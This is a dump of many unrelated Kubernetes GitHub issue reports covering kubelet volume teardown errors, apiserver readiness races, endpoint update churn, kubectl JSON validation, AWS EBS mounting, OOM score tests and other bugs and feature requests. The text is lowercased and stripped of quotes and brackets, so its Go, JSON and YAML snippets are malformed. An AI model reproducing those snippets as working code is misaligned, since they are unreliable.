while debugging a node-e2e failure on ubuntu image, i noticed that the kublet log is full of the following error messages from: https://github.com/kubernetes/kubernetes/blob/a2c7eb275443a5afea4052094a07daf627e4a724/pkg/volume/empty_dir/empty_dir.go l332\r \r    \r mar 22 17:30:28 test-ubuntu-gke-1604-xenial-v20170303 kubelet 4138 : e0322 17:30:28.782993    4138 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/empty-dir/49e7a02c-0f1f-11e7-888f-42010a8a0004-test-volume.deleting~35\r 5603580.deleting~682169602.deleting~871638708.deleting~593222404.deleting~633708239\\\   \\\ 49e7a02c-0f1f-11e7-888f-42010a8a0004\\\  \  failed. no retries permitted until 2017-03-22 17:30:29.282751427 +0000 utc  durationbeforeretry 500ms \r . error: unmountvolume.teardown failed for volume \ kubernetes.io/empty-dir/49e7a02c-0f1f-11e7-888f-42010a8a0004-test-volume.deleting~355603580.deleting~682169602.deleting~871638708.deleting~593222404.deleting~633708239\   volume.spec\r .name: \ test-volume.deleting~355603580.deleting~682169602.deleting~871638708.deleting~593222404.deleting~633708239\   pod \ 49e7a02c-0f1f-11e7-888f-42010a8a0004\   uid: \ 49e7a02c-0f1f-11e7-888f-42010a8a0004\   with: rename /var/lib/kube\r let/pods/49e7a02c-0f1f-11e7-888f-42010a8a0004/volumes/kubernetes.io~empty-dir/test-volume.deleting~355603580.deleting~682169602.deleting~871638708.deleting~593222404.deleting~633708239 /var/lib/kubelet/pods/49e7a02c-0f1f-11e7-888f-4\r 2010a8a0004/volumes/kubernetes.io~empty-dir/test-volume.deleting~355603580.deleting~682169602.deleting~871638708.deleting~593222404.deleting~633708239.deleting~655544917: file exists\r    \r \r the above failure results in tons of emptydir volumes  including both secret and confgmap  are not properly deleted, thus test failures. cc/ @saad-ali

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r v1.6.3  and head i think \r \r   what happened  :\r \r the apiserver returns  ok  on  /healthz  before it's ready to serve requests correctly.\r \r example of the race condition when doing self-hosting with kubeadm:\r    \r  self-hosted  found 1 self-hosted-kube-apiserver pods\r  self-hosted  pod self-hosted-kube-apiserver-2d146 status: pending\r  self-hosted  found 1 self-hosted-kube-apiserver pods\r  self-hosted  pod self-hosted-kube-apiserver-2d146 status: running\r  apiclient  all control plane components are healthy after 4.550770 seconds\r  self-hosted  self-hosted kube-apiserver ready after 13.904822 seconds\r failed to create self-hosted \ kube-scheduler\  deployment  deployments.extensions \ self-hosted-kube-scheduler\  is forbidden: not yet ready to handle request \r    \r \r   what you expected to happen  :\r \r the api server should actually be ready when  /healthz  is  ok \r \r   how to reproduce it    as minimally and precisely as possible :\r \r   install kubeadm v1.6.3\r   create this config file:\r       yaml\r    kind: masterconfiguration\r    apiversion: kubeadm.k8s.io/v1alpha1\r    selfhosted: true\r       \r   run kubeadm:  kubeadm init --config kubeadm.yaml \r \r cc @kubernetes/sig-cluster-lifecycle-misc \r \r is this a sig-apimachinery bug? @kubernetes/sig-api-machinery-bugs

 \r   what happened  :\r \r on a large cluster with enough pods, endpoints take as long as 10 minutes to show up after their associated pods and service are created. we believe that this is because every pod change results in an update of the addresses within the endpoint since they refer to a pod via a  targetref  whose  resourceversion  changes every time a pod change is observed. all these non-update updates eventually overwhelm the endpoint controller's queue rate limit and the queue starts to grow.  while an increase in the queue's rate limit can alleviate the problem, an admin can keep a much lower limit if the non-update updates are dropped rather than processed.\r \r   what you expected to happen  :\r \r when a pod related to an endpoint is updated, i would expect the endpoint to update only if there is a change in the pod that relates to the endpoint, such as a change in the pod's ip address.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod and associated service:\r    \r kubectl create -f https://raw.githubusercontent.com/openshift-qe/v3-testfiles/master/networking/list_for_pods.json\r    \r 2. watch the endpoint for changes:\r    \r kubectl get endpoint -o yaml --watch test-service\r    \r 3. leave the watch running, and in another session, edit a pod to add a label:\r    \r kubectl get pods\r kubectl edit pod <podname>\r    \r then add another label on the line after the  name:  label, such as  foo: bar \r 4. notice that the watched endpoint changed despite there not being any meaningful change to the fields the endpoint cares about.\r \r   anything else we need to know?  :\r \r the pr  50934 addresses this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.2169+683f09c65e5a79\ , gitcommit:\ 683f09c65e5a7954a272e6640876b357bbdaf2e4\ , gittreestate:\ clean\ , builddate:\ 2017-08-18t21:54:52z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.2167+683f09c65e5a79\ , gitcommit:\ 683f09c65e5a7954a272e6640876b357bbdaf2e4\ , gittreestate:\ clean\ , builddate:\ 2017-08-18t22:57:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

i was recently debugging a failure in the unstructured serialization test for the service-catalog api and realized after some confusion that  objectreflectdiff  doesn't implement the same algorithm as  semantic.deepequal .  i wonder whether there should be a semantic diff method that won't leave you confused about seeing stuff like this:\r \r    console\r         unstructured_test.go:97: object changed during json operations, diff: \r                 object.items 0 .objectmeta.labels:\r                   a: map string string{}\r                   b: map string string nil \r    \r \r 

kube version: 1.8.2\r docker version: 17.06.2-ce\r etcd version: 3.2.9\r os version: debian-stretch\r \r    \r   kubectl get po --all-namespaces\r namespace     name                                    ready     status    restarts   age\r kube-system   contiv-api-proxy-htsd2                  0/1       pending   0          2h\r kube-system   contiv-netmaster-4qvj8                  0/1       pending   0          2h\r kube-system   contiv-netplugin-8ckb9                  1/1       running   0          2h\r kube-system   contiv-netplugin-dmth6                  1/1       running   0          2h\r kube-system   contiv-netplugin-ggpqm                  1/1       running   0          2h\r kube-system   heapster-59ff54b574-jd4x8               1/1       running   0          13h\r kube-system   kube-apiserver-uy05-13                  1/1       running   0          1d\r kube-system   kube-apiserver-uy08-07                  1/1       running   0          22h\r kube-system   kube-controller-manager-uy05-13         1/1       running   0          1d\r kube-system   kube-controller-manager-uy08-07         1/1       running   0          22h\r kube-system   kube-dns-545bc4bfd4-b9njt               3/3       running   0          1d\r kube-system   kube-proxy-bbssx                        1/1       running   0          1d\r kube-system   kube-proxy-xl5m6                        1/1       running   0          22h\r kube-system   kube-proxy-zzkvq                        1/1       running   0          1d\r kube-system   kube-scheduler-uy05-13                  1/1       running   0          1d\r kube-system   kube-scheduler-uy08-07                  1/1       running   0          22h\r kube-system   kubernetes-dashboard-57f7b78668-jcsq5   1/1       running   0          9h\r    \r    \r   kubectl get po contiv-netmaster-4qvj8 -n kube-system -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ contiv-netmaster\ ,\ uid\ :\ f45ca128-c881-11e7-a33c-f8db8846244f\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 109501\ }}\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r     scheduler.alpha.kubernetes.io/tolerations: |\r        {\ key\ : \ dedicated\ , \ value\ : \ master\ , \ effect\ : \ noschedule\  },\r        {\ key\ :\ criticaladdonsonly\ , \ operator\ :\ exists\ } \r   creationtimestamp: 2017-11-13t14:50:13z\r   generatename: contiv-netmaster-\r   labels:\r     k8s-app: contiv-netmaster\r   name: contiv-netmaster-4qvj8\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: contiv-netmaster\r     uid: f45ca128-c881-11e7-a33c-f8db8846244f\r   resourceversion: \ 109509\ \r   selflink: /api/v1/namespaces/kube-system/pods/contiv-netmaster-4qvj8\r   uid: f460c935-c881-11e7-9459-34e6d7899e5d\r spec:\r   containers:\r   - args:\r     - -m\r     - -pkubernetes\r     env:\r     - name: contiv_etcd\r       valuefrom:\r         configmapkeyref:\r           key: cluster_store\r           name: contiv-config\r     - name: contiv_config\r       valuefrom:\r         configmapkeyref:\r           key: config\r           name: contiv-config\r     image: contiv/netplugin:1.1.6\r     imagepullpolicy: ifnotpresent\r     name: contiv-netmaster\r     resources: {}\r     securitycontext:\r       privileged: true\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /etc/openvswitch\r       name: etc-openvswitch\r     - mountpath: /lib/modules\r       name: lib-modules\r     - mountpath: /var/run\r       name: var-run\r     - mountpath: /var/contiv\r       name: var-contiv\r     - mountpath: /etc/kubernetes/ssl\r       name: etc-kubernetes-ssl\r     - mountpath: /opt/cni/bin\r       name: cni-bin-dir\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-rnh2b\r       readonly: true\r   dnspolicy: clusterfirst\r   hostnetwork: true\r   hostpid: true\r   nodeselector:\r     kubeadm.alpha.kubernetes.io/role: master\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/notready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - hostpath:\r       path: /etc/openvswitch\r       type: \ \ \r     name: etc-openvswitch\r   - hostpath:\r       path: /lib/modules\r       type: \ \ \r     name: lib-modules\r   - hostpath:\r       path: /var/run\r       type: \ \ \r     name: var-run\r   - hostpath:\r       path: /var/contiv\r       type: \ \ \r     name: var-contiv\r   - hostpath:\r       path: /etc/kubernetes/ssl\r       type: \ \ \r     name: etc-kubernetes-ssl\r   - hostpath:\r       path: /opt/cni/bin\r       type: \ \ \r     name: cni-bin-dir\r   - name: default-token-rnh2b\r     secret:\r       defaultmode: 420\r       secretname: default-token-rnh2b\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-13t14:50:13z\r     message: 'no nodes are available that match all of the predicates: matchnodeselector\r        3 .'\r     reason: unschedulable\r     status: \ false\ \r     type: podscheduled\r   phase: pending\r   qosclass: besteffort\r    \r \r how to fix this problem, pls help...

/ /  /status approved-for-milestone\r @kubernetes/sig-cluster-lifecycle-test-failures \r \r this job has been failing since at least 2017-11-21.  it's on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade ,\r and prevents us from cutting  v1.9.0-beta.2   kubernetes/sig-release 39 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-1.8-downgrade-cluster-parallel\r \r - latest failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel/829\r \r    \r kubetest --timeout triggered\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r   what happened  :\r \r the vsphere cloud provider currently supports username+password based authentication, where the credentials must be present in plain text within the cloud\r provider configuration file.\r \r   what you expected to happen  :\r \r authenticate with vsphere sdk using a saml token instead.\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r https://docs.microsoft.com/en-us/azure/virtual-machines/linux/disks-ultra-ssd\r \r \r   why is this needed  :\r need to upgrade sdk support to  2018-10-01/compute   current is  2018-04-01/compute  \r \r <!-- do not edit below this line -->\r  \r /assign\r 

please remove the public visibility option from the old board https://trello.com/b/rjtqrwjl/windows-k8s-roadmap\r \r people have found it through google search

i have the following json config:      {     \ kind\ : \ replicationcontroller\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ owncloud-db\      },     \ spec\ : {         \ template\ : {             \ metadata\ : {                 \ labels\ : {                     \ app\ : \ owncloud_db\                  }             },             \ spec\ : {                 \ containers\ :                       {                         \ resources\ : {                             \ limits\ : {                                 \ cpu\ : 0.5                             }                         },                         \ image\ : \ mysql:5.7\ ,                         \ name\ : \ mysql-5.7\ ,                         \ env\ :                               {                                 \ name\ : \ mysql_root_password\ ,                                 \ value\ : \ owncloud\                              },                             {                                 \ name\ : \ mysql_user\ ,                                 \ value\ : \ owncloud\                              },                             {                                 \ name\ : \ mysql_password\ ,                                 \ value\ : \ owncloud\                              },                             {                                 \ name\ : \ mysql_database\ ,                                 \ value\ : \ owncloud\                              }, <<<<<<<< error                          ,                         \ ports\ :                               {                                 \ containerport\ : 3306,                                 \ name\ : \ mysql\                              }                          ,                         \ volumemounts\ :                               {                                 \ name\ : \ mysql-persistent-storage\ ,                                 \ mountpath\ : \ /var/lib/mysql\                              }                                               }                  ,                 \ volumes\ :                       {                         \ name\ : \ mysql-persistent-storage\ ,                         \ hostpath\ : {                             \ path\ : \ /var/lib/mysql\                          }                     }                               }         }     } }      turns out there was a syntax error in the json file  i have tagged the line with \ >>>>>>>>error\  . however, when i gave this replication controller config to kubectl for validation the error was cryptic:      console kubectl --v=4 create -f ~/kubecluster/apps/owncloud/owncloud.json --validate i0804 16:20:09.910919   24428 decoder.go:141  decoding stream as json f0804 16:20:09.911035   24428 helpers.go:72  invalid character ' ' looking for beginning of value      i had to use an online tool to validate my json file, before getting it through kubectl. i moved from yaml to json thinking that it would be easier to manage declarative configs due to the indented  curly braces  syntax. however, seems like the kubectl json parser is rudimentary, at best, and definitely needs to be improved for better usability.

we are trying to configure kubernetes rc in aws instance with aws elastic block store ebs . here is the key part of our controller yaml file -                volumemounts:             - mountpath: \ /opt/phabricator/repo\                name: ebsvol       volumes:         -           name: ebsvol           awselasticblockstore:             volumeid: aws://us-west-2a/vol-                  fstype: ext4        our rc can start pod and works fine with out mounting it to a aws ebs but with volume mounting in an aws ebs it gives us -      fri, 11 sep 2015 11:29:14 +0000 fri, 11 sep 2015 11:29:34 +0000 3   {kubelet 172.31.24.103}         failedmount unable to mount volumes for pod \ phabricator-controller-zvg7z_default\ : error listing aws instances: nocredentialproviders: no valid providers in chain   fri, 11 sep 2015 11:29:14 +0000   fri, 11 sep 2015 11:29:34 +0000 3   {kubelet 172.31.24.103}         failedsync  error syncing pod, skipping: error listing aws instances: nocredentialproviders: no valid providers in chain      we have an credential file with appropiate credential in .aws directory. but its not working. do we missing something? is it a configuration issue?  kubectl version: 1.0.4 and 1.0.5  tried with both

the test  validate oom score adjustments once the node is setup pod infra containers oom-score-adj should be -998 and best effort container's should be 1000  is failing in  kubelet-cri-serial-gce-e2e .\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-cri-serial/12\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-cri-serial/10\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-cri-serial/4\r \r the reason is that the test expects that all pause containers   pidof pause   should have  oom_score_adj=-998 . however, in many tests, we are starting test containers with  pause . those pause containers have  oom_score_adj=1000 .\r \r ideally, containers started in previous test should be cleaned up, so in serial suite it should not affect later test. however, it is not always true when cri is enabled.\r \r for example, in the oom message, we could see:\r    \r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:   pid     uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name\r \r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:   9190      0  9190      257        1       4       2        0          1000 pause\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  16567      0 16567      257        1       4       2        0          1000 pause\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  16588      0 16588      257        1       4       2        0          -998 pause\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  23573      0 23573      257        1       3       2        0          -998 pause\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24467      0 24467   997933     9819     487       8        0          -999 docker\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24482      0 24482   104791      897      28       5        0          -999 containerd\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24717      0 24717    48267       85      16       5        0          -999 containerd-shim\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24733      0 24733      257        1       4       2        0          -998 pause\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24768      0 24768    48267       85      16       5        0          -999 containerd-shim\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24783      0 24783    20771    19149      44       5        0          -998 stress\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24794      0 24794    48267       84      16       5        0          -999 containerd-shim\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24811      0 24811      257        1       4       2        0          -998 pause\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24843      0 24843    48267       84      16       5        0          -999 containerd-shim\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24857      0 24857   328358   324704     641       6        0           973 stress\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24868      0 24868    48267       85      16       5        0          -999 containerd-shim\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24883      0 24883      257        1       4       2        0          -998 pause\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24915      0 24915    48267       84      16       5        0          -999 containerd-shim\r nov 26 03:36:19 tmp-node-e2e-36829672-gci-dev-56-8977-0-0 kernel:  24930      0 24930   325187   323575     638       6        0          1000 stress\r    \r \r there are 2 problems here:\r 1.   why are containers not properly cleaned up when cri enabled?   i can't even find which test leaked pause container from the log, because there are many test using pause image, and some of them start a lot of containers, such as density test, restart test.\r 2.   the oom score adj test should not rely on process name  pause   . however, i can't find an alternative for now, because we don't report pause container status in our api, we don't even know the container id to inspect with docker or cri.\r \r @yujuhong @vishh \r /cc @kubernetes/sig-node

\r \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.5.2\r   environment  :\r -   cloud provider or hardware configuration  : \r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  :  3.10.0-327.10.1.el7\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r my step  is:\r \r      purpose \r \r to test 1.5 master ha    https://kubernetes.io/docs/admin/ha-master-gce/  https://kubernetes.io/docs/admin/ha-master-gce/ \r \r       1,\r     export kubernetes_provider=centos\r     \r     export kube_version=1.5.2\r \r     export etcd_version=3.0.4\r \r     config the file of  cluster/centos/config-default.sh\r \r \r \r and another result is :  \r \r \r \r \r       2,\r     ./kube-up.sh\r \r after completion, no service start\r \r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : fluentd, logrotate\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.4\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r fluentd is writing its log to /var/log/fluentd.log which is causing disk to fill\r \r   what you expected to happen  :\r /var/log/fluentd.log should be added to node-level log rotation when cluster addon is installed\r \r   how to reproduce it    as minimally and precisely as possible :\r install fluentd-elasticsearch addon from https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch\r \r   anything else we need to know  :\r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : deployment scale down pod\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r it would be convenient to be able to scale down a deployment by n replicas by choosing which pods to remove from the deployment. \r \r ideally, this would have a similar interface as for removing selected instances from a gce managed instance group  https://cloud.google.com/sdk/gcloud/reference/compute/instance-groups/managed/delete-instances . \r \r today, you can approximate this by issuing api calls in rapid succession that might sometimes result in that effect  remove the relevant label from the pod in question, scale the deployment and its underlying replicaset down, then delete the pod , but it's hacky and relies on winning a race.\r \r @kubernetes/sig-apps-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r upon code inspection, it was noticed that kube-proxy does not supply the required family flag\r \ -f ipv6\  when it calls the conntrack utility.\r \r   what you expected to happen  :\r wherever the conntrack utility is executed, and the associated service uses ipv6, then the\r \ -f ipv6\  family flag should be passed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r code inspection of this file: pkg/proxy/util/conntrack.go\r \r   anything else we need to know?  :\r this is required for ipv6-only operation.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : kubernetes container dev env on ubuntu 16.04.1\r - os  e.g. from /etc/os-release : ubuntu 16.04.1\r - kernel  e.g.  uname -a  : 4.4.0-78-generic  99-ubuntu x86_64 gnu/linux\r - install tools:\r - others:\r

 \r   what happened  :\r the kubelet keeps attempting to gc containers from dockershim checkpoint files.  if the container is no longer present, we keep attempting to gc it because the file is never removed from checkpoint.\r \r   what you expected to happen  :\r checkpoint should not leak.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r @kubernetes/sig-scheduling-feature-requests  \r \r   what happened  :\r before volume scheduling moves to beta, see if there's a way to make the volume binding changes more pluggable to:\r   better support custom schedulers\r   make it easier for other cluster-level resources to integrate into the pod scheduling flow\r

to test  require-sig  https://github.com/kubernetes/test-infra/blob/master/prow/plugins/requiresig/requiresig.go  prow plugin.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r the onadd handler in ipam/controller.go \r \r    go\r \tif syncer, ok := c.syncers node.name ; !ok {\r \t\tsyncer = c.newsyncer node.name \r \t\tc.syncers node.name  = syncer\r \t\tgo syncer.loop nil \r \t} else {\r \t\tglog.warningf \ add for node %q that already exists\ , node.name \r \t\tsyncer.update node \r \t}\r    \r create a new sync instance with it's own loop, but does not actually handle the event itself. this means that the loop code falls back to the delay handler case  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/nodeipam/ipam/sync/sync.go l146  in the absence of any new updates seen on this node. this might mean that in the extreme case of no new update events seen for the node after the add, it can take up to 30 seconds for the pod cidr to be allocated. granted that in most practical cases, during node addition, other  updates would trigger an earlier allocation.\r \r   what you expected to happen  :\r trigger the syncer.update code in all cases, including node add events.\r \r   how to reproduce it  as minimally and precisely as possible   :\r observed as potential delay in pod cidr allocataion and how long node takes to be fully ready when using ipamfromcluster or ipamfromcloud allocators. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : all supported?\r - kernel  e.g.  uname -a  : all supported?\r - install tools: all supported?\r - others:\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r for pr's that make change to an owners or owners_aliases file, all the presubmit e2e tests ran. \r \r   what you expected to happen  :\r we should not have to run all the test for changes to owners or owners_aliases. it seems like a waste of resources.\r \r /assign @kubernetes/sig-contributor-experience-bugs \r

  \r   what happened  :\r when check kubelet.service with systemctl:\r    \r 7月 18 20:56:03 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:56:03.180082  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:56:21 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:56:21.298349  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:56:34 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:56:34.858103  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:56:49 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:56:49.567516  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:57:09 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:57:09.003603  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:57:23 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:57:23.949284  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:57:35 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:57:35.187776  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:57:46 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:57:46.049174  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:58:00 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:58:00.863854  256093 fs.go:418  stat fs failed. error: no such file or directory\r 7月 18 20:58:18 skyaxe-app-0.localdomain kubelet 256093 : e0718 20:58:18.846837  256093 fs.go:418  stat fs failed. error: no such file or directory\r \r    \r the kubelet.service is still in active running state.\r \r i do not know how to debug or where is wrong.\r \r   what you expected to happen  :\r 1. in fs.go file, print which file missing\r 2. if the missing error does no impact on kubelet service, maybe place log info somewhere else\r \r   environment  :\r - kubernetes version:\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r you have new mail in /var/spool/mail/root\r \r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.el7.x86_64\r \r

